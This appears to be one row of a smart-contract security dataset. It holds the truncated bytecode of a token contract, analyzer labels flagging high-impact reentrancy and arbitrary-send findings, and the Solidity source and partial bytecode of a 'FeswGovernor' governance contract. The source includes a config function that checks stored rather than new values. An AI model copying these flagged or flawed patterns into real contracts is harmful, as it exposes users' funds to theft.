791ac9478360008430426040518663ffffffff1660e01b8152600401612652959493929190613dc2565b600060405180830381600087803b15801561266c57600080fd5b505af1158015612680573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b806126b1576126b0612745565b5b6126bc848484612788565b806126ca576126c9612953565b5b50505050565b60008060006126dd612967565b915091506126f481836126fb90919063ffffffff16565b9250505090565b600061273d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129c6565b905092915050565b6000600c5414801561275957506000600d54145b1561276357612786565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061279a87612a29565b9550955095509550955095506127f886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a9190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061288d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612adb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128d981612b39565b6128e38483612bf6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161294091906131bd565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a7640000905061299b670de0b6b3a76400006006546126fb90919063ffffffff16565b8210156129b957600654670de0b6b3a76400009350935050506129c2565b81819350935050505b9091565b60008083118290612a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a049190613066565b60405180910390fd5b5060008385612a1c9190613e4b565b9050809150509392505050565b6000806000806000806000806000612a468a600c54600d54612c30565b9250925092506000612a566126d0565b90506000806000612a698e878787612cc6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612ad383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122ec565b905092915050565b6000808284612aea9190613b1b565b905083811015612b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2690613ec8565b60405180910390fd5b8091505092915050565b6000612b436126d0565b90506000612b5a8284612d4f90919063ffffffff16565b9050612bae81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612adb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c0b82600654612a9190919063ffffffff16565b600681905550612c2681600754612adb90919063ffffffff16565b6007819055505050565b600080600080612c5c6064612c4e888a612d4f90919063ffffffff16565b6126fb90919063ffffffff16565b90506000612c866064612c78888b612d4f90919063ffffffff16565b6126fb90919063ffffffff16565b90506000612caf82612ca1858c612a9190919063ffffffff16565b612a9190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612cdf8589612d4f90919063ffffffff16565b90506000612cf68689612d4f90919063ffffffff16565b90506000612d0d8789612d4f90919063ffffffff16565b90506000612d3682612d288587612a9190919063ffffffff16565b612a9190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d625760009050612dc4565b60008284612d709190613ee8565b9050828482612d7f9190613e4b565b14612dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612db690613fb4565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612e2c82612de3565b810181811067ffffffffffffffff82111715612e4b57612e4a612df4565b5b80604052505050565b6000612e5e612dca565b9050612e6a8282612e23565b919050565b600067ffffffffffffffff821115612e8a57612e89612df4565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ecb82612ea0565b9050919050565b612edb81612ec0565b8114612ee657600080fd5b50565b600081359050612ef881612ed2565b92915050565b6000612f11612f0c84612e6f565b612e54565b90508083825260208201905060208402830185811115612f3457612f33612e9b565b5b835b81811015612f5d5780612f498882612ee9565b845260208401935050602081019050612f36565b5050509392505050565b600082601f830112612f7c57612f7b612dde565b5b8135612f8c848260208601612efe565b91505092915050565b600060208284031215612fab57612faa612dd4565b5b600082013567ffffffffffffffff811115612fc957612fc8612dd9565b5b612fd584828501612f67565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613018578082015181840152602081019050612ffd565b83811115613027576000848401525b50505050565b600061303882612fde565b6130428185612fe9565b9350613052818560208601612ffa565b61305b81612de3565b840191505092915050565b60006020820190508181036000830152613080818461302d565b905092915050565b6000819050919050565b61309b81613088565b81146130a657600080fd5b50565b6000813590506130b881613092565b92915050565b600080604083850312156130d5576130d4612dd4565b5b60006130e385828601612ee9565b92505060206130f4858286016130a9565b9150509250929050565b60008115159050919050565b613113816130fe565b82525050565b600060208201905061312e600083018461310a565b92915050565b6000819050919050565b600061315961315461314f84612ea0565b613134565b612ea0565b9050919050565b600061316b8261313e565b9050919050565b600061317d82613160565b9050919050565b61318d81613172565b82525050565b60006020820190506131a86000830184613184565b92915050565b6131b781613088565b82525050565b60006020820190506131d260008301846131ae565b92915050565b6000806000606084860312156131f1576131f0612dd4565b5b60006131ff86828701612ee9565b935050602061321086828701612ee9565b9250506040613221868287016130a9565b9150509250925092565b600060ff82169050919050565b6132418161322b565b82525050565b600060208201905061325c6000830184613238565b92915050565b61326b81612ec0565b82525050565b60006020820190506132866000830184613262565b92915050565b6000602082840312156132a2576132a1612dd4565b5b60006132b084828501612ee9565b91505092915050565b6132c2816130fe565b81146132cd57600080fd5b50565b6000813590506132df816132b9565b92915050565b6000602082840312156132fb576132fa612dd4565b5b6000613309848285016132d0565b91505092915050565b60006020828403121561332857613327612dd4565b5b6000613336848285016130a9565b91505092915050565b6000806000806080858703121561335957613358612dd4565b5b6000613367878288016130a9565b9450506020613378878288016130a9565b9350506040613389878288016130a9565b925050606061339a878288016130a9565b91505092959194509250565b600080fd5b60008083601f8401126133c1576133c0612dde565b5b8235905067ffffffffffffffff8111156133de576133dd6133a6565b5b6020830191508360208202830111156133fa576133f9612e9b565b5b9250929050565b60008060006040848603121561341a57613419612dd4565b5b600084013567ffffffffffffffff81111561343857613437612dd9565b5b613444868287016133ab565b93509350506020613457868287016132d0565b9150509250925092565b6000806040838503121561347857613477612dd4565b5b600061348685828601612ee9565b925050602061349785828601612ee9565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006134d7602083612fe9565b91506134e2826134a1565b602082019050919050565b60006020820190508181036000830152613506816134ca565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061357682613088565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135a9576135a861353c565b5b600182019050919050565b6000815190506135c381612ed2565b92915050565b6000602082840312156135df576135de612dd4565b5b60006135ed848285016135b4565b91505092915050565b600060408201905061360b6000830185613262565b6136186020830184613262565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061367b602683612fe9565b91506136868261361f565b604082019050919050565b600060208201905081810360008301526136aa8161366e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061370d602483612fe9565b9150613718826136b1565b604082019050919050565b6000602082019050818103600083015261373c81613700565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061379f602283612fe9565b91506137aa82613743565b604082019050919050565b600060208201905081810360008301526137ce81613792565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613831602583612fe9565b915061383c826137d5565b604082019050919050565b6000602082019050818103600083015261386081613824565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006138c3602383612fe9565b91506138ce82613867565b604082019050919050565b600060208201905081810360008301526138f2816138b6565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613955602983612fe9565b9150613960826138f9565b604082019050919050565b6000602082019050818103600083015261398481613948565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b60006139e7603f83612fe9565b91506139f28261398b565b604082019050919050565b60006020820190508181036000830152613a16816139da565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613a53601c83612fe9565b9150613a5e82613a1d565b602082019050919050565b60006020820190508181036000830152613a8281613a46565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613ae5602383612fe9565b9150613af082613a89565b604082019050919050565b60006020820190508181036000830152613b1481613ad8565b9050919050565b6000613b2682613088565b9150613b3183613088565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613b6657613b6561353c565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613bcd602383612fe9565b9150613bd882613b71565b604082019050919050565b60006020820190508181036000830152613bfc81613bc0565b9050919050565b6000613c0e82613088565b9150613c1983613088565b925082821015613c2c57613c2b61353c565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613c93602a83612fe9565b9150613c9e82613c37565b604082019050919050565b60006020820190508181036000830152613cc281613c86565b9050919050565b6000819050919050565b6000613cee613ce9613ce484613cc9565b613134565b613088565b9050919050565b613cfe81613cd3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613d3981612ec0565b82525050565b6000613d4b8383613d30565b60208301905092915050565b6000602082019050919050565b6000613d6f82613d04565b613d798185613d0f565b9350613d8483613d20565b8060005b83811015613db5578151613d9c8882613d3f565b9750613da783613d57565b925050600181019050613d88565b5085935050505092915050565b600060a082019050613dd760008301886131ae565b613de46020830187613cf5565b8181036040830152613df68186613d64565b9050613e056060830185613262565b613e1260808301846131ae565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613e5682613088565b9150613e6183613088565b925082613e7157613e70613e1c565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613eb2601b83612fe9565b9150613ebd82613e7c565b602082019050919050565b60006020820190508181036000830152613ee181613ea5565b9050919050565b6000613ef382613088565b9150613efe83613088565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613f3757613f3661353c565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f9e602183612fe9565b9150613fa982613f42565b604082019050919050565b60006020820190508181036000830152613fcd81613f91565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206bd888c9ec443cdb729daff659f2b7e4c39c4a4bba7bf0f4e2dda59209bd287b64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,488 |
0x77f98c147a37564c32e48054bff7692a1f97f343
|
/**
*Submitted for verification at Etherscan.io on 2021-08-17
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
contract FeswGovernor {
/// @notice The name of this contract
string public constant name = "Feswap Governor";
uint public constant QUORUM_VOTES = 40_000_000e18; // 4% of Fesw
uint public constant PROPOSAL_THRESHOLD = 10_000_000e18; // 1% of Fesw
uint public constant PROPOSAL_MAX_OPERATIONS = 10; // 10 actions
uint public constant VOTING_PERIOD = 7 days; // 7 days
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
uint public quorumVotes;
/// @notice The number of votes required in order for a voter to become a proposer
uint public proposalThreshold;
/// @notice The maximum number of actions that can be included in a proposal
uint public proposalMaxOperations;
/// @notice The duration of voting on a proposal, in blocks
uint public votingPeriod;
/// @notice The address of the Feswap Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Feswap governance token
FeswaInterface public Feswa;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
// Unique id for looking up a proposal
uint id;
// Creator of the proposal
address proposer;
// the ordered list of target addresses for calls to be made
address[] targets;
// The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
// The ordered list of function signatures to be called
string[] signatures;
// The ordered list of calldata to be passed to each call
bytes[] calldatas;
// The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
uint startBlockTime;
// The block at which voting ends: votes must be cast prior to this block
uint endBlockTime;
// The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
// Current number of votes in favor of this proposal
uint forVotes;
// Current number of votes in opposition to this proposal
uint againstVotes;
// Flag marking whether the proposal has been canceled
bool canceled;
// Flag marking whether the proposal has been executed
bool executed;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
// Whether or not a vote has been cast
bool hasVoted;
// Whether or not the voter supports the proposal
bool support;
// The number of votes the voter had, which were cast
uint96 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice Receipts of ballots for the entire set of voters
mapping (uint => mapping (address => Receipt)) public receipts;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas,
uint startBlockTime, uint endBlockTime, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address Feswa_) {
timelock = TimelockInterface(timelock_);
Feswa = FeswaInterface(Feswa_);
quorumVotes = QUORUM_VOTES;
proposalThreshold = PROPOSAL_THRESHOLD;
proposalMaxOperations = PROPOSAL_MAX_OPERATIONS;
votingPeriod = VOTING_PERIOD;
}
function config(uint quorumVotes_, uint proposalThreshold_, uint proposalMaxOperations_, uint votingPeriod_) public {
require(msg.sender == address(timelock), "FeswGovernor:: Not Timelock");
if (quorumVotes != 0) quorumVotes = quorumVotes_;
if (proposalThreshold != 0) proposalThreshold = proposalThreshold_;
if (proposalMaxOperations != 0) proposalMaxOperations = proposalMaxOperations_;
if (votingPeriod != 0) votingPeriod = votingPeriod_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(Feswa.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold, "FeswGovernor::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "FeswGovernor::propose: proposal function information arity mismatch");
require(targets.length != 0, "FeswGovernor::propose: must provide actions");
require(targets.length <= proposalMaxOperations, "FeswGovernor::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "FeswGovernor::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "FeswGovernor::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlockTime = block.timestamp;
uint endBlockTime = add256(startBlockTime, votingPeriod);
proposalCount++;
Proposal memory newProposal;
newProposal.id = proposalCount;
newProposal.proposer = msg.sender;
newProposal.targets = targets;
newProposal.values = values;
newProposal.signatures = signatures;
newProposal.calldatas = calldatas;
newProposal.startBlock = block.number;
newProposal.startBlockTime = startBlockTime;
newProposal.endBlockTime = endBlockTime;
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlockTime, endBlockTime, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "FeswGovernor::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))),
"FeswGovernor::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "FeswGovernor::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value:proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
require(state(proposalId) != ProposalState.Executed, "FeswGovernor::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(Feswa.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold, "FeswGovernor::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return receipts[proposalId][voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "FeswGovernor::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.timestamp <= proposal.startBlockTime) {
return ProposalState.Pending;
} else if (block.timestamp <= proposal.endBlockTime) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "FeswGovernor::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "FeswGovernor::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = receipts[proposalId][voter];
require(receipt.hasVoted == false, "FeswGovernor::_castVote: voter already voted");
uint96 votes = Feswa.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32);
function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external;
function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory);
}
interface FeswaInterface {
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
|
0x6080604052600436106101ac5760003560e01c8063671dd275116100ec578063d33219b41161008a578063ddf0b00911610064578063ddf0b00914610476578063deaaa7cc14610496578063e23a9a52146104ab578063fe0d94c1146104d8576101ac565b8063d33219b41461042c578063da35c66414610441578063da95691a14610456576101ac565b8063a6c26603116100c6578063a6c26603146103cd578063b1610d7e146103e2578063b58131b0146103f7578063cbd08c8c1461040c576101ac565b8063671dd2751461038157806372a108e8146103965780637bdbe4d0146103b8576101ac565b806324bc1a64116101595780633e4f49e6116101335780633e4f49e6146102e557806340e58ee5146103125780634178b249146103325780634634c61f14610361576101ac565b806324bc1a641461028b578063328dd982146102a057806336e7048a146102d0576101ac565b806315373e3d1161018a57806315373e3d1461023457806317977c611461025657806320606b7014610276576101ac565b8063013cf08b146101b157806302a251a3146101f057806306fdde0314610212575b600080fd5b3480156101bd57600080fd5b506101d16101cc3660046126bd565b6104eb565b6040516101e79a999897969594939291906133e5565b60405180910390f35b3480156101fc57600080fd5b5061020561055a565b6040516101e79190612b5b565b34801561021e57600080fd5b50610227610560565b6040516101e79190612c00565b34801561024057600080fd5b5061025461024f366004612701565b610599565b005b34801561026257600080fd5b5061020561027136600461252f565b6105a8565b34801561028257600080fd5b506102056105ba565b34801561029757600080fd5b506102056105de565b3480156102ac57600080fd5b506102c06102bb3660046126bd565b6105e4565b6040516101e79493929190612add565b3480156102dc57600080fd5b506102056108bc565b3480156102f157600080fd5b506103056103003660046126bd565b6108c1565b6040516101e79190612bec565b34801561031e57600080fd5b5061025461032d3660046126bd565b610a85565b34801561033e57600080fd5b5061035261034d3660046126d5565b610d4c565b6040516101e793929190612b35565b34801561036d57600080fd5b5061025461037c366004612730565b610d8c565b34801561038d57600080fd5b50610205610f8a565b3480156103a257600080fd5b506103ab610f99565b6040516101e79190612bcb565b3480156103c457600080fd5b50610205610fb5565b3480156103d957600080fd5b50610205610fbb565b3480156103ee57600080fd5b50610205610fca565b34801561040357600080fd5b50610205610fd1565b34801561041857600080fd5b50610254610427366004612786565b610fd7565b34801561043857600080fd5b506103ab611066565b34801561044d57600080fd5b50610205611082565b34801561046257600080fd5b5061020561047136600461254a565b611088565b34801561048257600080fd5b506102546104913660046126bd565b61153f565b3480156104a257600080fd5b50610205611844565b3480156104b757600080fd5b506104cb6104c63660046126d5565b611868565b6040516101e7919061330f565b6102546104e63660046126bd565b6118e6565b60076020819052600091825260409091208054600182015460068301549383015460088401546009850154600a860154600b870154600c90970154959773ffffffffffffffffffffffffffffffffffffffff909516969495939492939192909160ff808216916101009004168a565b60035481565b6040518060400160405280600f81526020017f46657377617020476f7665726e6f72000000000000000000000000000000000081525081565b6105a4338383611b0e565b5050565b60096020526000908152604090205481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60005481565b6060806060806000600760008781526020019081526020016000209050806002018160030182600401836005018380548060200260200160405190810160405280929190818152602001828054801561067357602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610648575b50505050509350828054806020026020016040519081016040528092919081815260200182805480156106c557602002820191906000526020600020905b8154815260200190600101908083116106b1575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156107b65760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156107a25780601f10610777576101008083540402835291602001916107a2565b820191906000526020600020905b81548152906001019060200180831161078557829003601f168201915b5050505050815260200190600101906106ed565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156108a65760008481526020908190208301805460408051601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001871615020190941693909304928301859004850281018501909152818152928301828280156108925780601f1061086757610100808354040283529160200191610892565b820191906000526020600020905b81548152906001019060200180831161087557829003601f168201915b5050505050815260200190600101906107dd565b5050505090509450945094509450509193509193565b600a81565b600081600654101580156108d55750600082115b610914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90612c70565b60405180910390fd5b6000828152600760205260409020600c81015460ff1615610939576002915050610a80565b8060070154421161094e576000915050610a80565b80600801544211610963576001915050610a80565b80600b015481600a015411158061097f575060005481600a0154105b1561098e576003915050610a80565b60098101546109a1576004915050610a80565b600c810154610100900460ff16156109bd576007915050610a80565b610a6a8160090154600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610a2d57600080fd5b505afa158015610a41573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a659190612632565b611d9c565b4210610a7a576006915050610a80565b60059150505b919050565b6007610a90826108c1565b6007811115610a9b57fe5b1415610ad3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90612dd3565b60008181526007602052604090206001805460055482840154919273ffffffffffffffffffffffffffffffffffffffff9182169263782d6fe1921690610b1a904390611de2565b6040518363ffffffff1660e01b8152600401610b379291906129d3565b60206040518083038186803b158015610b4f57600080fd5b505afa158015610b63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8791906127b7565b6bffffffffffffffffffffffff1610610bcc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90612f10565b600c810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905560005b6002820154811015610d105760045460028301805473ffffffffffffffffffffffffffffffffffffffff9092169163591fcdfe919084908110610c3b57fe5b60009182526020909120015460038501805473ffffffffffffffffffffffffffffffffffffffff9092169185908110610c7057fe5b9060005260206000200154856004018581548110610c8a57fe5b90600052602060002001866005018681548110610ca357fe5b9060005260206000200187600901546040518663ffffffff1660e01b8152600401610cd2959493929190612a96565b600060405180830381600087803b158015610cec57600080fd5b505af1158015610d00573d6000803e3d6000fd5b505060019092019150610bfc9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c82604051610d409190612b5b565b60405180910390a15050565b600860209081526000928352604080842090915290825290205460ff808216916101008104909116906201000090046bffffffffffffffffffffffff1683565b60408051808201909152600f81527f46657377617020476f7665726e6f72000000000000000000000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667f22f36df5bb944924cdf1bc87e66d8eaf516f7dddddd96bf66459cb9deb1c72d6610e0d611e24565b30604051602001610e219493929190612b64565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610e7093929190612b95565b60405160208183030381529060405280519060200120905060008282604051602001610e9d92919061299d565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610eda9493929190612bad565b6020604051602081039080840390855afa158015610efc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116610f74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b90612fca565b610f7f818a8a611b0e565b505050505050505050565b6a211654585005212800000081565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6a084595161401484a00000081565b62093a8081565b60015481565b60045473ffffffffffffffffffffffffffffffffffffffff163314611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b9061313e565b600054156110365760008490555b600154156110445760018390555b600254156110525760028290555b600354156110605760038190555b50505050565b60045473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b6001805460055460009273ffffffffffffffffffffffffffffffffffffffff9091169063782d6fe19033906110be904390611de2565b6040518363ffffffff1660e01b81526004016110db9291906129d3565b60206040518083038186803b1580156110f357600080fd5b505afa158015611107573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112b91906127b7565b6bffffffffffffffffffffffff1611611170576040517f08c379a00000000000000000000000000